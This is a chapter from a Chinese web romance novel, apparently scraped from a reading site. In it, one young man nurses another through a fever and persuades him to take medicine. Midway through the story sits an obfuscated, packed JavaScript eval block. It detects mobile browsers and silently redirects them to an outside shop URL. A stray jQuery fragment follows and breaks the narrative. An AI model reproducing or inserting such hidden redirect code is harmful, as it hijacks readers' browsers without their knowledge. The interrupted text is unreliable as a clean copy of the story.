文趣网 > 都市小说 > 作精少爷太难养 > 7. 第 7 章
    熟睡的贺涧山一无所知。

    只是提前一个小时起床,在热包子之前,熬了一小锅米粥。

    熬得软烂,米香四溢,他又加了一点点香油,少许盐和蔬菜叶。

    煮好后,他去敲乔明熙的门。

    “吃早餐了。”

    没有回应。

    九点了,该起了,贺涧山又敲门,“乔明熙,我进来了。”

    乔明熙刚睡着一会儿,只觉得耳边吵得很。

    睡意朦胧之中,只想把贺涧山嘴缝上。

    贺涧山推门的声音。

    已经把乔明熙微弱而宝贵的睡意惊走了。

    乔明熙强撑病体也给了贺涧山一个白眼。

    贺涧山:“早餐做好了,起床吧。”

    乔明熙又难受,又困,又饿。

    都不知道该先解决什么问题。

    “我要在床上吃。”

    贺涧山:“不行,容易撒到床上。”

    乔明熙反驳的力气都没有,脑袋缩回被子里,闭上了眼睛。

    这在贺涧山眼里就是拒绝沟通的态度。

    贺涧山叹了口气,“骄纵。”

    如果贺涧山有孩子,那他一定是个严厉的父亲。

    可惜乔明熙不是他的孩子,他管不住乔明熙。

    他在楼下又等了半小时,乔明熙依然没有下来吃早餐的迹象。

    贺涧山不得已上楼再去请这位小少爷。

    这次,他端了晾好的米粥。

    “乔明熙,起来吧,在床上吃。”

    乔明熙只听见嗡嗡的声音,眼皮重得睁不开。

    “乔明熙,不许再闹脾气。”

    .....

    “乔明熙?”

    贺涧山放下粥,去扯乔明熙的被子,被沿濡湿,热气烘烘。

    “乔明熙?我掀被子了。”

    乔明熙闻到了喜欢的味道,脑袋往上蹭了蹭。

    整张小脸都汗津津的,额头、鼻尖、后颈,细细的汗珠渗出来,小的像绒毛尖上的露水,大的慢慢汇成一颗,顺着太阳穴往下淌。

    脸颊浮着一层薄红,不深,刚好到颧骨就止住了,边缘洇在原本的肤色里。

    鬓角湿透了,碎发一绺一绺贴着,好不可怜。

    “乔明熙?你发烧了。”贺涧山抚上乔明熙的额头。

    细嫩的皮肤滚烫。

    烧得不轻。

    额头被掌心的皮肤完全盖住。

    乔明熙忍不住发出一声呻吟。

    想要....

    他缓缓睁开眼睛,贺涧山模糊的轮廓在他面前晃动。

    “乔明熙,有哪里不舒服?”

    眼珠转动的时候慢,看人一眼,目光有些散,像是聚不了焦,过一会儿又自己垂下去。

    贺涧山跑下楼找出医药箱,电子体温计显示,三十八度八。

    贺涧山立即将人从被窝里捞出来,“先吃药。”

    “唔。”乔明熙寻到舒服的感觉,很乖顺地攀上贺涧山的脖子,拿额头去蹭。

    他的身体因为高热变得更加柔软。

    贺涧山忽然感觉到一丝无措,生怕把乔明熙弄坏了。

    他轻轻托着乔明熙的腰,“先吃药,行吗?”

    乔明熙抬起湿漉漉的眼皮,看清贺涧山的脸,瘪嘴松开脖子,倒在床上,“不要你。”

    “你生病了,先吃药。”贺涧山好声好气同他商量。

    乔明熙更是委屈得不行,捂在被子里,“你走。”

    “乔明熙,你听话。”

    乔明熙拱成虾仁往杯子里钻,后背的汗洇湿了衣服,布料黏在脊梁骨上,能看出肩胛骨的轮廓。

    太瘦了。

    早知道昨晚不让他吃这么多冰激凌。

    “乔明熙,生病要吃药才能好,你现在很危险。”

    “你不是不信我生病嘛,反正我不要你了,不关你的事。”

    乔明熙呼吸比平时重一点,胸口起伏的幅度却不大,像是不想太用力。

    说话间咳一声,嗓子是哑的。

    “对不起,我误会你了。”

    这还是贺涧山第一次道歉。

    乔明熙愣了愣才反应过来。

    然后更生气了。

    该死的贺涧山,非要看他难受成这样才肯相信他。

    “晚了,你走,我不要你了。”

    “你不是想走吗,我才不会留你。”

    乔明熙越说越委屈,身体又难受,哑哑的嗓子带上哭腔。

    “我会走,你把药吃了我就走。”

    乔明熙一听,直接踹了贺涧山一脚。

    力道软绵绵的,还隔着被子,贺涧山不解地看着乔明熙还未缩回去的脚。

    明明是顺着他的话说,怎么还是生气。

    说是说不听了,贺涧山直接动手,伸手进被子里,揪住乔明熙的后颈,把乔明熙从被子里拖出来。

    “放手,别碰我,贺涧山,我这辈子也不要理你了。”

    皮肤和潮湿的衣服分开,发出很轻的呲的一声。

    贺涧山轻而易举从被子里拉出了乔明熙,乔明熙手臂上勾着他换下来的卫衣。

    嗖一下。

    乔明熙把衣服塞回被子里。

    他动作这么敏捷,应该没被贺涧山看到吧。

    乔明熙心虚得蜷在一起。

    如果贺涧山敢问他为什么抱着他的衣服,他就再给贺涧山一棒,把他再次打失忆。

    贺涧山忽然很轻地笑了一声。

    这不就是小孩儿嘛。

    嘴上说着要他走,实际上还抱着他的衣服不放。

    估计是昨晚烧厉害了,心里害怕又不好意思来找自己,抱着衣服求个心安。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432273|200936||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    真是小孩儿啊。

    “放开我,贺涧山。”

    贺涧山没有拆穿小孩儿好面子的口是心非,直接把乔明熙禁锢在怀里,“先吃药。”

    “不要,不要不要,你聋了吗?”

    乔明熙在贺涧山怀里扑腾,伸出双手去扯贺涧山的头发,贺涧山紧紧抱着他,“对不起,我真的不知道你身体那么差,别生气了,好吗?”

    乔明熙就是咬着牙在折腾,冷脸哼哼。

    实际上,这么被贺涧山抱着,他舒服了不少。

    “我让你走,你听不懂人话啊。”

    贺涧山眼里有几分无奈,“我不走,等你好了再说。”

    “哼。”

    “先吃药行不行?”贺涧山学着哄小孩一样哄乔明熙,言语和动作都还有些生疏僵硬。

    “那你保证以后都听我的。”乔明熙总算停住了动作,靠在贺涧山胸膛,仰头去看他。

    他嘴唇干得起皮,颜色比平时淡些。眼皮有些肿,垂着的时候能看到眼睑上细细的红血丝。

    贺涧山瞧他是身体太弱,被家里人惯得只长个子,不长心智。

    既然这样,他还有什么理由好说:“行。”

    “那你说话要算话。”乔明熙揪着他衣服,要他承诺。

    贺涧山拿着退烧药,“吃了药再说。”

    乔明熙低头去含贺涧山指尖的药,干涩的嘴唇在贺涧山指尖粘了一下。

    贺涧山:“你说的有道理就听你的。”

    乔明熙舌尖一顶,就把药吐出来。

    贺涧山赶忙伸手去接,还没化开的胶囊湿哒哒躺在他手心。

    “贺涧山你骗人!”

    “好好好,听你的,都听你的行吗?”

    “你保证。”

    “我保证。”

    “不行,你发誓。”

    “我发誓,”贺涧山竖起三根手指,“我以后都听乔明熙的。”

    乔明熙总算安静下来,“那你重新给我药吧,有没有小一点的,这个我吞不下。”

    “没有,”贺涧山翻遍了药箱,“只有这个,将就一下行吗?”

    “好吧。”

    乔明熙用水把药顺下去,但他嗓子眼小,吞下后嗓子总有异物感。

    一个劲儿咳嗽。

    贺涧山抚摸着他瘦弱的背脊,温声鼓励他,“很棒,一次就吃下去了。”

    乔明熙浑身都是潮的,摸上去是微微,温热的涩,贺涧山手掌心很快也被汗沾湿。

    乔明熙自己也觉着黏腻,皱着眉去扯领口。

    指节蹭过锁骨,留下一道浅浅的水痕,过一会儿才慢慢干掉。

    贺涧山看着那道水痕,收回搭在乔明熙后背的手。

    他这样的触碰,似乎越界了。

    但他已经收手,乔明熙咳嗽时起伏的肩胛,还是让他掌心升起了一些温度。